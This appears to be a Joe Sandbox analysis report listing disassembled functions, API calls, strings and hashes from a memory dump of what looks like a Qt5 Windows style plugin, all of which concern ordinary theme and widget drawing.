Opcode Fuzzy Hash: 31d1a734e718618b18dcb5f26fa0ffaa97cb19d7ef59c08e332021c77c376183
Instruction Fuzzy Hash: 30127C32A18F8686EB25CF65E8402E93361FB44BE8F004272DA4E57A78DF7CE549C700

Function 00007FF812315527 Relevance: 86.2, APIs: 44, Strings: 5, Instructions: 416COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF812325280: IsThemeActive.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325288
Part of subcall function 00007FF812325280: IsAppThemed.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325292
Part of subcall function 00007FF812325280: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,?,00007FF812311952), ref: 00007FF81232529C
Part of subcall function 00007FF812325280: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,?,00007FF812311952), ref: 00007FF8123252A7

?drawPrimitive@QWindowsStyle@@UEBAXW4PrimitiveElement@QStyle@@PEBVQStyleOption@@PEAVQPainter@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF8123155B0
SystemParametersInfoW.USER32 ref: 00007FF8123155FF
??0QVariant@@QEAA@_N@Z.QT5CORE ref: 00007FF812315662
?setProperty@QObject@@QEAA_NPEBDAEBVQVariant@@@Z.QT5CORE ref: 00007FF812315676
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812315680
?property@QObject@@QEBA?AVQVariant@@PEBD@Z.QT5CORE ref: 00007FF812315694
?toInt@QVariant@@QEBAHPEA_N@Z.QT5CORE ref: 00007FF81231569F
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF8123156AD
?property@QObject@@QEBA?AVQVariant@@PEBD@Z.QT5CORE ref: 00007FF8123156C1
?toRect@QVariant@@QEBA?AVQRect@@XZ.QT5CORE ref: 00007FF8123156CF
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF8123156E3
??0QVariant@@QEAA@H@Z.QT5CORE ref: 00007FF8123156F9
?setProperty@QObject@@QEAA_NPEBDAEBVQVariant@@@Z.QT5CORE ref: 00007FF81231570E
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812315719
??0QVariant@@QEAA@AEBVQRect@@@Z.QT5CORE ref: 00007FF812315728
?setProperty@QObject@@QEAA_NPEBDAEBVQVariant@@@Z.QT5CORE ref: 00007FF81231573D
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF812315748

Strings

_q_stylestate, xrefs: 00007FF812315686, 00007FF812315707
_q_no_animation, xrefs: 00007FF81231566F, 00007FF812315AF7
Button, xrefs: 00007FF8123159AE
_q_stylerect, xrefs: 00007FF8123156B3, 00007FF812315736
Edit, xrefs: 00007FF812315955

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Variant@@$Object@@$?setProperty@Variant@@@$?property@StyleStyle@@Windows$?draw?instance@ActiveApplication@@CoreDarkElement@InfoInt@Mode@Option@@Painter@@ParametersPrimitivePrimitive@Private@@Rect@Rect@@Rect@@@SystemThemeThemedWidget@@@
String ID: Button$Edit$_q_no_animation$_q_stylerect$_q_stylestate
API String ID: 430001438-3654985033
Opcode ID: aae50e140f8a74d0f8fba4402a7ad0a4104491ce82aedf9071ad8ee2b1fb2f9e
Instruction ID: d6edf90d054acb52ef13b4f2b8520a6d4db40d122e05bedb72105e7f4e06b199
Opcode Fuzzy Hash: aae50e140f8a74d0f8fba4402a7ad0a4104491ce82aedf9071ad8ee2b1fb2f9e
Instruction Fuzzy Hash: 79128032A18E8286EB15CF25E8806F97761FB84BE4F445271EA4E476B4DFBCE549C700

Function 00007FF812319810 Relevance: 61.8, APIs: 41, Instructions: 278COMMON

Download Yara Rule

APIs

?deviceTransform@QPainter@@QEBAAEBVQTransform@@XZ.QT5GUI ref: 00007FF81231984F
??0QRectF@@QEAA@AEBVQRect@@@Z.QT5CORE ref: 00007FF812319865
??0QRectF@@QEAA@AEBVQPointF@@AEBVQSizeF@@@Z.QT5CORE ref: 00007FF8123198BC
?translated@QRectF@@QEBA?AV1@AEBVQPointF@@@Z.QT5CORE ref: 00007FF8123198F5
?toRect@QRectF@@QEBA?AVQRect@@XZ.QT5CORE ref: 00007FF812319903
?paintEngine@QPainter@@QEBAPEAVQPaintEngine@@XZ.QT5GUI ref: 00007FF81231990C
?systemClip@QPaintEngine@@QEBA?AVQRegion@@XZ.QT5GUI ref: 00007FF81231991A
?isEmpty@QRegion@@QEBA_NXZ.QT5GUI ref: 00007FF812319925
??0QRegion@@QEAA@AEBVQRect@@W4RegionType@0@@Z.QT5GUI ref: 00007FF81231993C
??4QRegion@@QEAAAEAV0@$$QEAV0@@Z.QT5GUI ref: 00007FF81231994C
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812319957
??_4QRegion@@QEAAAEAV0@AEBVQRect@@@Z.QT5GUI ref: 00007FF812319964
?hasClipping@QPainter@@QEBA_NXZ.QT5GUI ref: 00007FF81231996D
?clipRegion@QPainter@@QEBA?AVQRegion@@XZ.QT5GUI ref: 00007FF81231997F
?toPoint@QPointF@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF8123199A0
?translated@QRegion@@QEBA?AV1@HH@Z.QT5GUI ref: 00007FF8123199B5
??_4QRegion@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF8123199C5
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123199D0
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123199DA
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123199E5
CreateRectRgn.GDI32 ref: 00007FF8123199F5
?rectCount@QRegion@@QEBAHXZ.QT5GUI ref: 00007FF812319A03
?boundingRect@QRegion@@QEBA?AVQRect@@XZ.QT5GUI ref: 00007FF812319A24
CreateRectRgn.GDI32 ref: 00007FF812319A55
CreateRectRgn.GDI32 ref: 00007FF812319A71
CombineRgn.GDI32 ref: 00007FF812319A89
DeleteObject.GDI32 ref: 00007FF812319A96
DeleteObject.GDI32 ref: 00007FF812319AA2
?begin@QRegion@@QEBAPEBVQRect@@XZ.QT5GUI ref: 00007FF812319AB5
?end@QRegion@@QEBAPEBVQRect@@XZ.QT5GUI ref: 00007FF812319AC3
CreateRectRgn.GDI32 ref: 00007FF812319B0B
CreateRectRgn.GDI32 ref: 00007FF812319B23
CombineRgn.GDI32 ref: 00007FF812319B3B
DeleteObject.GDI32 ref: 00007FF812319B48
DeleteObject.GDI32 ref: 00007FF812319B54
SelectClipRgn.GDI32 ref: 00007FF812319B7D
?boundingRect@QRegion@@QEBA?AVQRect@@XZ.QT5GUI ref: 00007FF812319BC2
#47.UXTHEME ref: 00007FF812319C2C
SelectClipRgn.GDI32 ref: 00007FF812319C39
DeleteObject.GDI32 ref: 00007FF812319C42
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812319C4D

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Region@@$Rect$Rect@@$CreateDeleteObject$Painter@@$PointRect@$??_4?bounding?translated@ClipCombineEngine@@F@@@PaintRect@@@SelectV0@@$?begin@?clip?device?end@?has?paint?rect?systemClip@Clipping@Count@Empty@Engine@Point@Point@@RegionRegion@SizeTransform@Transform@@Type@0@@V0@$$
String ID:
API String ID: 2522781240-0
Opcode ID: 5c6a26380119b72abd3a67f5f3c163f256183f30943529d9c70172de04c5e285
Instruction ID: adc64caa9d0419488d89e693a313d7ba308d197859a6514683f8d005aa444bc6
Opcode Fuzzy Hash: 5c6a26380119b72abd3a67f5f3c163f256183f30943529d9c70172de04c5e285
Instruction Fuzzy Hash: A8C1B032A18E8286EB05CF25E8555E97760FF99BE4F409271EE4E13A64DF7CE189C700

Function 00007FF812324350 Relevance: 32.0, APIs: 21, Instructions: 471COMMON

Download Yara Rule

APIs

?subControlRect@QCommonStyle@@UEBA?AVQRect@@W4ComplexControl@QStyle@@PEBVQStyleOptionComplex@@W4SubControl@4@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812324387
?subControlRect@QCommonStyle@@UEBA?AVQRect@@W4ComplexControl@QStyle@@PEBVQStyleOptionComplex@@W4SubControl@4@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81232440A
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF81232441E
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812324961

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style@@$Rect@Rect@@$?sub?visualCommonComplexComplex@@ControlControl@Control@4@Direction@LayoutOptionQt@@StyleV2@1@Widget@@@
String ID:
API String ID: 2058851883-0
Opcode ID: d89975f9fa6c6547f81844f9f662d6da913d68b431cc841e8c7c24e72d5bc9ef
Instruction ID: de7631d6305f042128f19b465cd7beaccbe321123638150e5c1cbeb9611f1a7b
Opcode Fuzzy Hash: d89975f9fa6c6547f81844f9f662d6da913d68b431cc841e8c7c24e72d5bc9ef
Instruction Fuzzy Hash: 6A128E72E18A828AE725CF78D4446FD77B0FB547A8F044275DA0E63AA8DFB9E445C700

Function 00007FF812322450 Relevance: 25.7, APIs: 17, Instructions: 243COMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS(?,?,?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812322490
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF8123225DA
GetThemeBackgroundRegion.UXTHEME ref: 00007FF812322638
??0QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812322645
CreateRectRgn.GDI32 ref: 00007FF81232265A
CombineRgn.GDI32 ref: 00007FF812322673
??0QRegion@@QEAA@XZ.QT5GUI ref: 00007FF81232267F
GetRegionData.GDI32 ref: 00007FF812322695
GetRegionData.GDI32 ref: 00007FF8123226BF
??0QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123226D4
??0QRegion@@QEAA@AEBVQRect@@W4RegionType@0@@Z.QT5GUI ref: 00007FF812322756
??_5QRegion@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF812322764
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF81232276E
DeleteObject.GDI32 ref: 00007FF81232278D
DeleteObject.GDI32 ref: 00007FF812322796
??0QRegion@@QEAA@$$QEAV0@@Z.QT5GUI ref: 00007FF8123227A3
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123227AD

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Region@@$Region$DataDeleteObjectRect@@V0@@$??_5?nativeA@$$BackgroundCombineCreateFactor@MetricPoint@@Private@@RectScaleSize@@@StyleThemeType@0@@Widget@@@Windows
String ID:
API String ID: 1277804131-0
Opcode ID: 44bb3f9911b219c4905509e0a1c66d781bc5ac388fcb0705951b2814d242fa26
Instruction ID: c8d2f06285bc564a10e8e15c712cbfed850b1f7fc56117ef18d69080e9daa3c5
Opcode Fuzzy Hash: 44bb3f9911b219c4905509e0a1c66d781bc5ac388fcb0705951b2814d242fa26
Instruction Fuzzy Hash: F3A10632F1DE419EE717DB76A4205A96364AF9A7D8F00C332ED0EA3664DF79A4468700

Function 00007FF812317460 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 177windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8123220E0: ?unpolish@QWindowsStyle@@UEAAXPEAVQWidget@@@Z.QT5WIDGETS(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF8123220F0
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF81232210D
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF812322126
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF81232213F
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF812322154
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF812322169
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF81232217E
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF812322193
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF8123221A8
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF8123221BD
Part of subcall function 00007FF8123220E0: ?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF8123221D3
Part of subcall function 00007FF8123220E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF8123221E3
Part of subcall function 00007FF8123220E0: ?setWindowOpacity@QWidget@@QEAAXN@Z.QT5WIDGETS(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF812317486), ref: 00007FF8123221F9
Part of subcall function 00007FF8123220E0: GetThemeInt.UXTHEME ref: 00007FF81232226A

?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812317490
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF8123174A9
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF8123174C2
??0QFont@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF8123174D9
??0QString@@QEAA@VQLatin1String@@@Z.QT5CORE ref: 00007FF812317502
?setFamily@QFont@@QEAAXAEBVQString@@@Z.QT5GUI ref: 00007FF812317510
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF81231751A
?setFont@QWidget@@QEAAXAEBVQFont@@@Z.QT5WIDGETS ref: 00007FF812317527
??1QFont@@QEAA@XZ.QT5GUI ref: 00007FF812317531
?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF81231754E
?setContentsMargins@QWidget@@QEAAXHHHH@Z.QT5WIDGETS ref: 00007FF81231756F
OpenThemeData.UXTHEME ref: 00007FF81231758F
GetThemeInt.UXTHEME ref: 00007FF8123175B8
?fromRgb@QColor@@SA?AV1@I@Z.QT5GUI ref: 00007FF8123175C9
??0QPalette@@QEAA@XZ.QT5GUI ref: 00007FF8123175D3
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF8123175E7
?setBrush@QPalette@@QEAAXW4ColorGroup@1@W4ColorRole@1@AEBVQBrush@@@Z.QT5GUI ref: 00007FF8123175FD
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812317607
?setPalette@QWidget@@QEAAXAEBVQPalette@@@Z.QT5WIDGETS ref: 00007FF812317614
??1QPalette@@QEAA@XZ.QT5GUI ref: 00007FF81231761E
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812317653
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF812317669
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812317689
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF8123176A3
??0QString@@QEAA@VQLatin1String@@@Z.QT5CORE ref: 00007FF8123176CC
?qt_qFindChild_helper@@YAPEAVQObject@@PEBV1@AEBVQString@@AEBUQMetaObject@@V?$QFlags@W4FindChildOption@Qt@@@@@Z.QT5CORE ref: 00007FF8123176E6
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF8123176F3
?setContentsMargins@QWidget@@QEAAXHHHH@Z.QT5WIDGETS ref: 00007FF812317714
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812317729
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF81231773E
?viewport@QAbstractScrollArea@@QEBAPEAVQWidget@@XZ.QT5WIDGETS ref: 00007FF812317750
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF812317761
?setAttribute@QWidget@@QEAAXW4WidgetAttribute@Qt@@_N@Z.QT5WIDGETS ref: 00007FF812317777

Strings

Segoe UI, xrefs: 00007FF8123174E6
qt_msgbox_buttonbox, xrefs: 00007FF81231766F
QTipLabel, xrefs: 00007FF81231753C
TOOLTIP, xrefs: 00007FF812317585
qt_inputdlg_buttonbox, xrefs: 00007FF8123176A9

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Object@@$Meta$?cast@V2@@$?set$Widget@@$Attribute@$Qt@@_String@@Widget$Font@@Palette@@String@@@Theme$Brush@@ColorColor@@ContentsFindLatin1Margins@$?from?inherits@?qt_q?unpolish@?viewport@AbstractArea@@BrushBrush@Brush@@@ChildChild_helper@@DataFamily@Flags@Font@Font@@@Group@1@Opacity@OpenOption@Palette@Palette@@@Qt@@@Qt@@@@@Rgb@Role@1@ScrollStyle@Style@@V0@@Widget@@@WindowWindows
String ID: QTipLabel$Segoe UI$TOOLTIP$qt_inputdlg_buttonbox$qt_msgbox_buttonbox
API String ID: 3176665400-2125566619
Opcode ID: 38fb7f779097d24ddc8a2602b35d2e474fc6832d6827ba4394ddae5822c2ac84
Instruction ID: a4e5a01fd44d15758f9fe44fe4c9b41f9e9d7b52e49f5bc7e1d75edce516d289
Opcode Fuzzy Hash: 38fb7f779097d24ddc8a2602b35d2e474fc6832d6827ba4394ddae5822c2ac84
Instruction Fuzzy Hash: FF910521B18E1286FB1A8F65EC542F92361BF48BE8F485275C90E17A78DFBCE549C340

Function 00007FF812314DED Relevance: 61.8, APIs: 41, Instructions: 342windowCOMMON

Download Yara Rule

APIs

?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812314E09
?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF812314E21
?transposed@QRect@@QEBA?AV1@XZ.QT5CORE ref: 00007FF812314E4B
?translate@QPainter@@QEAAXAEBVQPointF@@@Z.QT5GUI ref: 00007FF812314EA1
?rotate@QPainter@@QEAAXN@Z.QT5GUI ref: 00007FF812314EB2
?translate@QPainter@@QEAAXAEBVQPointF@@@Z.QT5GUI ref: 00007FF812314EF1
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812314F0B
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF812314F14
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF812314F28
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF812314F3A
?setBrush@QPainter@@QEAAXAEBVQBrush@@@Z.QT5GUI ref: 00007FF812314F48
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812314F53
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812314F62
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF812314F6B
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF812314F7F
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF812314F8B
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF812314FB8
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF812314FC7
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812314FD4
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812314FF9
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812315025
?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF812315033
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF812315069
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231508A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF8123150D6
??1QIcon@@QEAA@XZ.QT5GUI ref: 00007FF8123150E0
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231510A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812315152
??1QIcon@@QEAA@XZ.QT5GUI ref: 00007FF81231515C
?windowIcon@QWidget@@QEBA?AVQIcon@@XZ.QT5WIDGETS ref: 00007FF81231519F
?cacheKey@QIcon@@QEBA_JXZ.QT5GUI ref: 00007FF8123151A8
?windowIcon@QApplication@@SA?AVQIcon@@XZ.QT5WIDGETS ref: 00007FF8123151B6
?cacheKey@QIcon@@QEBA_JXZ.QT5GUI ref: 00007FF8123151BF
??1QIcon@@QEAA@XZ.QT5GUI ref: 00007FF8123151DF
??1QIcon@@QEAA@XZ.QT5GUI ref: 00007FF8123151EF
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF812315240
?fontMetrics@QPainter@@QEBA?AVQFontMetrics@@XZ.QT5GUI ref: 00007FF812315262
?elidedText@QFontMetrics@@QEBA?AVQString@@AEBV2@W4TextElideMode@Qt@@HH@Z.QT5GUI ref: 00007FF812315299
??1QFont@@QEAA@XZ.QT5GUI ref: 00007FF8123152A3
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF8123152DF
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812315317

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Icon@@$Painter@@$Brush@@Rect@@$Color@@Style@@$?proxy@ColorObject@@$?adjusted@Widget@@$?actual?brush@?cache?cast@?color@?darker@?set?translate@?windowF@@@FontGroup@1@Icon@Key@MetaMetrics@@Mode@1@Palette@@PointQt@@Role@1@@Size@Size@@State@1@@String@@V2@@Window@$?draw?elided?font?rotate@?transposed@?visualApplication@@BrushBrush@Brush@@@Color@@@Direction@ElideFont@@LayoutMetrics@Mode@Pen@Qt@@@Rect@Rects@Style@TextText@V2@1@
String ID:
API String ID: 2698851743-0
Opcode ID: 4713cbdeb7ecafa310ba5c18e6376e1af6384a3c5bd12de68f54f25cd3d5b84f
Instruction ID: bcbd19a5e4575a0e809362c206c03aba491f54fb8837eedc31ab357c3b5eeb69
Opcode Fuzzy Hash: 4713cbdeb7ecafa310ba5c18e6376e1af6384a3c5bd12de68f54f25cd3d5b84f
Instruction Fuzzy Hash: D6F17F32A08B828AEB25CF65E8542ED7770FB49BA4F504235DE4E17A68DF7CE145C700

Function 00007FF812316118 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 176windowCOMMON

Download Yara Rule

APIs

?animation@QCommonStylePrivate@@QEBAPEAVQStyleAnimation@@PEBVQObject@@@Z.QT5WIDGETS ref: 00007FF812316120
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812316130
?pen@QPainter@@QEBAAEBVQPen@@XZ.QT5GUI ref: 00007FF812316161
??0QPen@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF81231616F
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812316182
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81231618B
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81231619F
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF8123161CD
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF8123161D9
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF8123161E4
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF8123161EF
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF812316215
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF812316227
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231623A
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF812316243
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF812316257
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF812316285
